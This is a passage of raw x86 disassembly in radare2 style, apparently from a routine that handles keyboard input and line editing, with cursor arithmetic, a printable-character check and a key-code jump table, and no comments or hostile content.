add esp, 8
mov eax, dword [ebp - 0x120]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x11c], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0x120], eax
jg 0x42df57
cmp dword [ebp - 0x11c], 0
jg 0x42df68
mov edx, dword [ebp - 0x120]
sub edx, 1
mov dword [ebp - 0x120], edx
jmp 0x42df7c
mov eax, dword [ebp - 0x120]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0x11c], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x120], edx
jne 0x42df94
mov dword [ebp - 0x120], 0xffffff22
jmp 0x42dfe2
cmp dword [ebp - 0x128], 3
jne 0x42dfd6
push 0
lea eax, [ebp - 0x120]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0x11c], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x120], edx
jne 0x42dfd4
mov dword [ebp - 0x120], 0xffffff22
jmp 0x42dfe2
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jge 0x42dff5
mov dword [ebp - 0x11c], 0
mov ecx, dword [ebp - 0x11c]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0x124], ecx
mov edx, dword [ebp - 0x124]
cmp edx, dword [ebp - 0x5c]
jle 0x42e018
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0x128], 4
jne 0x42e055
mov eax, dword [ebp - 0x124]
sub eax, dword [ebp - 0x11c]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x11c]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42e09a
cmp dword [ebp - 0x128], 2
jne 0x42e06a
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1b8], edx
jmp 0x42e074
mov dword [ebp - 0x1b8], 0
mov al, byte [ebp - 0x1b8]
push eax
mov ecx, dword [ebp - 0x124]
sub ecx, dword [ebp - 0x11c]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x11c]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0x120], 0xffffff22
je 0x42e0bc
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x120]
push ecx
call fcn.00401096
add esp, 8
jmp 0x42e373
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xffffff22
mov dword [ebp - 0x138], 1
cmp dword [ebp - 0x138], 0xffffffff
je 0x42e101
cmp dword [ebp - 0x138], 4
jne 0x42e118
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x130], ecx
jmp 0x42e299
cmp dword [ebp - 0x138], 0
jne 0x42e1bd
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x5c]
jne 0x42e13b
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x12c], eax
jmp 0x42e1b8
push 0
lea ecx, [ebp - 0x130]
push ecx
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x130]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42e18c
mov edx, dword [ebp - 0x130]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x130]
add ecx, 1
mov dword [ebp - 0x130], ecx
jmp 0x42e1b8
mov edx, dword [ebp - 0x130]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0x130], ecx
jne 0x42e1b8
mov dword [ebp - 0x130], 0xffffff22
jmp 0x42e299
cmp dword [ebp - 0x138], 2
jne 0x42e24d
push 0
lea edx, [ebp - 0x130]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0x130]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x12c], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0x130], eax
jg 0x42e20e
cmp dword [ebp - 0x12c], 0
jg 0x42e21f
mov edx, dword [ebp - 0x130]
sub edx, 1
mov dword [ebp - 0x130], edx
jmp 0x42e233
mov eax, dword [ebp - 0x130]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0x12c], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x130], edx
jne 0x42e24b
mov dword [ebp - 0x130], 0xffffff22
jmp 0x42e299
cmp dword [ebp - 0x138], 3
jne 0x42e28d
push 0
lea eax, [ebp - 0x130]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0x12c], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x130], edx
jne 0x42e28b
mov dword [ebp - 0x130], 0xffffff22
jmp 0x42e299
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jge 0x42e2ac
mov dword [ebp - 0x12c], 0
mov ecx, dword [ebp - 0x12c]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0x134], ecx
mov edx, dword [ebp - 0x134]
cmp edx, dword [ebp - 0x5c]
jle 0x42e2cf
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x134], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0x138], 4
jne 0x42e30c
mov eax, dword [ebp - 0x134]
sub eax, dword [ebp - 0x12c]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x12c]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42e351
cmp dword [ebp - 0x138], 2
jne 0x42e321
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1bc], edx
jmp 0x42e32b
mov dword [ebp - 0x1bc], 0
mov al, byte [ebp - 0x1bc]
push eax
mov ecx, dword [ebp - 0x134]
sub ecx, dword [ebp - 0x12c]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x12c]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0x130], 0xffffff22
je 0x42e373
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call fcn.00401096
add esp, 8
jmp 0x42e425
mov edx, dword [ebp - 0x7c]
sub edx, 0x7a
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402c5c
add esp, 8
test eax, eax
je 0x42e415
push 0
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x68]
push edx
push 1
call fcn.0042fb20
add esp, 0x10
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x5c]
mov byte [eax], 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401389
add esp, 4
test eax, eax
jne 0x42e3fc
cmp dword [ebp + 0xc], 0
je 0x42e3fc
mov dword [0x7057c4], 1
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401438
add esp, 4
mov dword [0x64e39c], eax
mov eax, dword [ebp - 0x18]
mov dword [0x64e3a0], eax
push 0x50
mov ecx, dword [ebp + 8]
push ecx
push 0x705710
call fcn.00402725
add esp, 0xc
push 1
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402bc6
add esp, 8
mov eax, dword [ebp - 0x7c]
sub eax, 0xb
jmp 0x42f9f5
mov dword [ebp - 0x7c], 0
jmp 0x42e425
mov dword [ebp - 0x7c], 0
cmp dword [ebp - 0x7c], 0
je 0x42e43f
push 0
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
push 1
call fcn.0042fb20
add esp, 0x10
jmp 0x42efc9
cmp dword [ebp - 0x7c], 0
jne 0x42ea70
call fcn.00401b4a
mov dword [ebp - 0x7c], eax
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x1c0], edx
mov eax, dword [ebp - 0x1c0]
sub eax, 0x3b
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x18
ja case.0x42e488.10
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx + 0x42faa4]
jmp dword [edx*4 + 0x42fa68]
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402702
add esp, 4
cmp eax, 1
jne case.0x42e488.8
mov dword [ebp - 0x7c], 0xa
jmp 0x42efd0
mov ecx, dword [ebp - 0x7c]
sub ecx, 0x3a
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402c5c
add esp, 8
test eax, eax
je 0x42e574
push 0
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
push 1
call fcn.0042fb20
add esp, 0x10
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x5c]
mov byte [edx], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00401389
add esp, 4
test eax, eax
jne 0x42e55b
cmp dword [ebp + 0xc], 0
je 0x42e55b
cmp dword [ebp - 0x7c], 0x42
jne 0x42e525
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00402702
add esp, 4
cmp eax, 2
jne 0x42e525
mov dword [0x7057c8], 1
mov eax, 0xd
jmp 0x42f9f5
mov dword [0x7057c4], 1
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401438
add esp, 4
mov dword [0x64e39c], eax
mov eax, dword [ebp - 0x18]
mov dword [0x64e3a0], eax
push 0x50
mov ecx, dword [ebp + 8]
push ecx
push 0x705710
call fcn.00402725
add esp, 0xc
push 1
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402bc6
add esp, 8
mov eax, dword [ebp - 0x7c]
add eax, 0x35
jmp 0x42f9f5
mov dword [ebp - 0x7c], 0
jmp 0x42ea51
cmp dword [ebp - 0x5c], 0
jle 0x42e8b5
mov eax, dword [ebp + 8]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0040258b
add esp, 0xc
mov dword [ebp - 0x13c], 0
push 0
lea edx, [ebp - 0x13c]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0x13c]
cmp eax, dword [ebp - 0x14]
jg 0x42e5c4
jmp 0x42e5db
push 1
mov cl, byte [ebp - 0x49]
push ecx
call fcn.00402202
add esp, 8
cmp dword [0x62a1f4], 0
jne 0x42e59c
mov dword [ebp - 0x3c], 0
mov edx, dword [ebp + 8]
push edx
call fcn.005b4690
add esp, 4
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xffffff22
mov dword [ebp - 0x14c], 4
cmp dword [ebp - 0x14c], 0xffffffff
je 0x42e62b
cmp dword [ebp - 0x14c], 4
jne 0x42e642
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x140], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x144], ecx
jmp 0x42e7c3
cmp dword [ebp - 0x14c], 0
jne 0x42e6e7
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x5c]
jne 0x42e665
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x140], eax
jmp 0x42e6e2
push 0
lea ecx, [ebp - 0x144]
push ecx
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42e6b6
mov edx, dword [ebp - 0x144]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0x140], eax
mov ecx, dword [ebp - 0x144]
add ecx, 1
mov dword [ebp - 0x144], ecx
jmp 0x42e6e2
mov edx, dword [ebp - 0x144]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0x140], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0x144], ecx
jne 0x42e6e2
mov dword [ebp - 0x144], 0xffffff22
jmp 0x42e7c3
cmp dword [ebp - 0x14c], 2
jne 0x42e777
push 0
lea edx, [ebp - 0x144]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0x144]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x140], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0x144], eax
jg 0x42e738
cmp dword [ebp - 0x140], 0
jg 0x42e749
mov edx, dword [ebp - 0x144]
sub edx, 1
mov dword [ebp - 0x144], edx
jmp 0x42e75d
mov eax, dword [ebp - 0x144]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0x140], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x144], edx
jne 0x42e775
mov dword [ebp - 0x144], 0xffffff22
jmp 0x42e7c3
cmp dword [ebp - 0x14c], 3
jne 0x42e7b7
push 0
lea eax, [ebp - 0x144]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0x140], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x144], edx
jne 0x42e7b5
mov dword [ebp - 0x144], 0xffffff22
jmp 0x42e7c3
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
jge 0x42e7d6
mov dword [ebp - 0x140], 0
mov ecx, dword [ebp - 0x140]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0x148], ecx
mov edx, dword [ebp - 0x148]
cmp edx, dword [ebp - 0x5c]
jle 0x42e7f9
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x148], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0x14c], 4
jne 0x42e836
mov eax, dword [ebp - 0x148]
sub eax, dword [ebp - 0x140]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x140]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42e87b
cmp dword [ebp - 0x14c], 2
jne 0x42e84b
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1c4], edx
jmp 0x42e855
mov dword [ebp - 0x1c4], 0
mov al, byte [ebp - 0x1c4]
push eax
mov ecx, dword [ebp - 0x148]
sub ecx, dword [ebp - 0x140]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x140]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0x144], 0xffffff22
je 0x42e89d
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.00401096
add esp, 8
mov edx, dword [ebp + 8]
push edx
call fcn.00402158
add esp, 4
mov dword [ebp - 0x5c], 0
jmp 0x42e9c1
call fcn.0040323d
sub eax, dword [0x7057b8]
cmp eax, 0x3e8
jb 0x42e8d4
cmp dword [0x7057b8], 0
jne 0x42e959
call fcn.0040323d
mov dword [0x7057b8], eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401438
add esp, 4
test eax, eax
jne 0x42e928
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401a73
add esp, 4
cmp eax, 3
jl 0x42e928
cmp dword [0x7057bc], 1
jl 0x42e926
mov dword [ebp - 0x7c], 0
push 0
push 0
mov edx, dword [ebp - 0x50]
push edx
push 1
call fcn.0042fb20
add esp, 0x10
jmp 0x42efd0
jmp 0x42e957
mov eax, dword [0x7057bc]
add eax, 1
mov dword [0x7057bc], eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401438
add esp, 4
test eax, eax
jle 0x42e957
push 0
push 0
mov edx, dword [ebp - 0x58]
push edx
push 1
call fcn.0042fb20
add esp, 0x10
jmp 0x42e98f
call fcn.0040323d
mov dword [0x7057b8], eax
mov dword [0x7057bc], 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401438
add esp, 4
test eax, eax
jle 0x42e98f
push 0
push 0
mov ecx, dword [ebp - 0x58]
push ecx
push 1
call fcn.0042fb20
add esp, 0x10
mov edx, dword [ebp + 8]
push edx
call fcn.00402158
add esp, 4
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x3c], 0
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402bc6
add esp, 8
mov eax, 0x76
jmp 0x42f9f5
jmp 0x42ea51
mov dword [ebp - 0x7c], 0x2e
jmp 0x42efd0
mov dword [ebp - 0x7c], 0x30
jmp 0x42efd0
mov dword [ebp - 0x7c], 0x31
jmp 0x42efd0
mov dword [ebp - 0x7c], 0x32
jmp 0x42efd0
mov dword [ebp - 0x7c], 0x33
jmp 0x42efd0
mov dword [ebp - 0x7c], 0x34
jmp 0x42efd0
mov dword [ebp - 0x7c], 0x35
jmp 0x42efd0
mov dword [ebp - 0x7c], 0x36
jmp 0x42efd0
mov dword [ebp - 0x7c], 0x37
jmp 0x42efd0
mov dword [ebp - 0x7c], 0x38
jmp 0x42efd0
mov dword [ebp - 0x7c], 0x39
jmp 0x42efd0
mov dword [ebp - 0x7c], 0
cmp dword [ebp - 0x7c], 0
je 0x42ea6b
push 0
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x68]
push edx
push 1
call fcn.0042fb20
add esp, 0x10
jmp 0x42efc9
cmp dword [ebp - 0x7c], 0x20
jl 0x42efa5
cmp dword [ebp - 0x7c], 0x7e
jg 0x42efa5
mov dword [ebp - 0x44], 1
cmp dword [ebp - 0x7c], 0x3d
jne 0x42ea9e
cmp dword [ebp - 0x64], 0
je 0x42ea9e
mov dword [ebp - 0x7c], 0x2b
cmp dword [ebp - 0x1c], 0
je 0x42eaaa
cmp dword [ebp - 0x5c], 0
jne 0x42eab0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x40], 0
je 0x42eba5
mov cl, byte [ebp - 0x7c]
push ecx
call fcn.00401479
add esp, 4
test eax, eax
jne 0x42eb12
mov edx, dword [ebp - 0x7c]
push edx
call fcn.00402388
add esp, 4
test eax, eax
je 0x42eb01
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x5c]
mov byte [eax], 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401389
add esp, 4
test eax, eax
jne 0x42eaff
mov dword [ebp - 0x7c], 0
jmp 0x42efda
jmp 0x42eb0d
mov dword [ebp - 0x7c], 0
jmp 0x42efda
jmp 0x42eba5
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x150], 0
jmp 0x42eb37
mov edx, dword [ebp - 0x150]
add edx, 1
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x150]
cmp eax, dword [ebp - 0x5c]
jge 0x42eba5
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x150]
movsx edx, byte [ecx]
push edx
call fcn.00402388
add esp, 4
test eax, eax
je 0x42eba3
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x5c]
mov byte [eax], 0
mov ecx, dword [ebp - 0x150]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00402455
add esp, 8
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x150]
jle 0x42eb8b
mov ecx, dword [ebp - 0x3c]
sub ecx, 1
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x5c]
sub edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x150]
sub eax, 1
mov dword [ebp - 0x150], eax
jmp 0x42eb28
cmp dword [ebp - 0x40], 0
je 0x42ebec
cmp dword [ebp - 0x3c], 0
jle 0x42ebec
mov ecx, dword [ebp - 0x18]
sub ecx, 1
cmp dword [ebp - 0x3c], ecx
jl 0x42ebec
mov edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 0x3c]
jl 0x42ebec
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x5c]
imul ecx, ecx, 0x25
cmp eax, ecx
jae 0x42ebec
push 1
mov edx, dword [ebp + 0xc]
push edx
call fcn.0042fac0
add esp, 8
push 0xd
call fcn.004028c4
add esp, 4
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x10]
jge 0x42ec43
call fcn.004018c5
test eax, eax
jne 0x42ec43
cmp dword [ebp - 4], 0
je 0x42ec0b
cmp dword [ebp - 0x5c], 0
jne 0x42ec0b
jmp 0x42ec43
mov cl, byte [ebp - 0x7c]
push ecx
call fcn.00401b90
add esp, 4
test eax, eax
je 0x42ec2f
push 0
push 0
mov edx, dword [ebp - 0x20]
push edx
push 5
call fcn.0042fb20
add esp, 0x10
jmp 0x42ec43
push 0
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x60]
push ecx
push 5
call fcn.0042fb20
add esp, 0x10
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401cad
add esp, 4
test eax, eax
je 0x42ec8f
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x54], 0
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402658
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
call fcn.004026da
add esp, 4
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401cad
add esp, 4
test eax, eax
jne 0x42efa3
mov edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 0x10]
jge 0x42efa3
mov eax, dword [ebp - 0x3c]
push eax
mov cl, byte [ebp - 0x7c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401a19
add esp, 0xc
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x10]
jl 0x42ecf7
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040333c
add esp, 4
test eax, eax
je 0x42ecf7
push 0xd
call fcn.004028c4
add esp, 4
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x158], 0xffffff22
mov dword [ebp - 0x160], 0
cmp dword [ebp - 0x160], 0xffffffff
je 0x42ed31
cmp dword [ebp - 0x160], 4
jne 0x42ed48
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x154], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x158], edx
jmp 0x42eec9
cmp dword [ebp - 0x160], 0
jne 0x42eded
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x5c]
jne 0x42ed6b
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0x154], ecx
jmp 0x42ede8
push 0
lea edx, [ebp - 0x158]
push edx
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x158]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42edbc
mov edx, dword [ebp - 0x158]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0x154], eax
mov ecx, dword [ebp - 0x158]
add ecx, 1
mov dword [ebp - 0x158], ecx
jmp 0x42ede8
mov edx, dword [ebp - 0x158]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0x154], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0x158], ecx
jne 0x42ede8
mov dword [ebp - 0x158], 0xffffff22
jmp 0x42eec9
cmp dword [ebp - 0x160], 2
jne 0x42ee7d
push 0
lea edx, [ebp - 0x158]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0x158]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x154], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0x158], eax
jg 0x42ee3e
cmp dword [ebp - 0x154], 0
jg 0x42ee4f
mov edx, dword [ebp - 0x158]
sub edx, 1
mov dword [ebp - 0x158], edx
jmp 0x42ee63
mov eax, dword [ebp - 0x158]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0x154], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x158], edx
jne 0x42ee7b
mov dword [ebp - 0x158], 0xffffff22
jmp 0x42eec9
cmp dword [ebp - 0x160], 3
jne 0x42eebd
push 0
lea eax, [ebp - 0x158]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0x154], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x158], edx
jne 0x42eebb
mov dword [ebp - 0x158], 0xffffff22
jmp 0x42eec9
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0
jge 0x42eedc
mov dword [ebp - 0x154], 0
mov ecx, dword [ebp - 0x154]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x15c]
cmp edx, dword [ebp - 0x5c]
jle 0x42eeff
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x15c], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0x160], 4
jne 0x42ef3c
mov eax, dword [ebp - 0x15c]
sub eax, dword [ebp - 0x154]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x154]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42ef81
cmp dword [ebp - 0x160], 2
jne 0x42ef51
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1c8], edx
jmp 0x42ef5b
mov dword [ebp - 0x1c8], 0
mov al, byte [ebp - 0x1c8]
push eax
mov ecx, dword [ebp - 0x15c]
sub ecx, dword [ebp - 0x154]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x154]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0x158], 0xffffff22
je 0x42efa3
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x158]
push ecx
call fcn.00401096
add esp, 8
jmp 0x42efc9
cmp dword [ebp - 0x7c], 0x20
jge 0x42efc9
cmp dword [ebp - 0x7c], 0
jle 0x42efc9
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402d29
add esp, 4
test eax, eax
je 0x42efc9
mov eax, dword [ebp - 0x7c]
jmp 0x42f9f5
mov dword [ebp - 0x7c], 0
cmp dword [ebp - 0x7c], 0
jne 0x42c315
cmp dword [ebp + 0xc], 0
je 0x42f910
cmp dword [ebp - 0x54], 0
je 0x42f2f1
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x54]
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0x38]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402658
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004026da
add esp, 4
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401cad
add esp, 4
test eax, eax
jne 0x42f2ea
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x14]
push ecx
call fcn.00402356
add esp, 8
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x168], 0xffffff22
mov dword [ebp - 0x170], 3
cmp dword [ebp - 0x170], 0xffffffff
je 0x42f078
cmp dword [ebp - 0x170], 4
jne 0x42f08f
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x164], edx
